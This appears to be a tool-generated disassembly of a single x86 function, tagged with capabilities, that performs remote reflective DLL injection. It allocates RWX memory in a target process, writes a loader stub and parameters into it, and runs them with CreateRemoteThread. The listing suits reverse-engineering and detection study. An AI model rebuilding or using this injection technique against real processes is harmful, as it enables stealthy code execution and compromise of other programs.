Function at 0x415560
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410af0
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x415817
push 0x1dc
push 0x4e5d5c
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00410a70
add esp, 4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x28], 0
je 0x415803
push 0x1e1
push 0x4e5d98
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x30], ecx
mov edx, 0x415550
sub edx, 0x4154f0
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 0xf0c
mov dword [ebp - 0x2c], eax
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x415803
push 0x1f3
push 0x4e5dd4
mov eax, dword [0x52c378]
push eax
call fcn.00406ae0
add esp, 0xc
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 0x14]
mov dword [ebp - 0x24], edx
push 0x1f9
push 0x4e5e10
mov eax, dword [0x52c378]
push eax
call fcn.00406ae0
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xc]
push eax
push 0x4154f0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411650
add esp, 0x10
movzx eax, al
test eax, eax
je 0x4157cb
push 0x14
lea ecx, [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411650
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x4157cb
push 0xef8
push 0x52c3a8
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411650
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x4157cb
push 0x204
push 0x4e5e4c
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4157c9
push 0x209
push 0x4e5e88
mov eax, dword [0x52c378]
push eax
call fcn.00406ae0
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x28], 0x54fd32fc
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x4157bf
cmp dword [ebp - 0x28], 0xab02cd03
jne 0x4157bf
push 0x210
push str.Log:RemoteReflectiveInjection::CallDllMain_Remote_at__d_n
mov ecx, dword [0x52c378]
push ecx
call fcn.00406ae0
add esp, 0xc
push 0x14
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004115d0
add esp, 0x10
movzx edx, al
test edx, edx
je 0x4157bf
mov al, byte [ebp - 0x38]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4157ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 8]
push eax
push str.Log:RemoteReflectiveInjection::CallDllMain_Remote_to_0x_p___lu__FAILED___Last_error:_0x_08X._n
mov ecx, dword [0x52c378]
push ecx
call fcn.00406ae0
add esp, 0x14
push 0x8000
push 0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call fcn.004169fb
add esp, 8
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret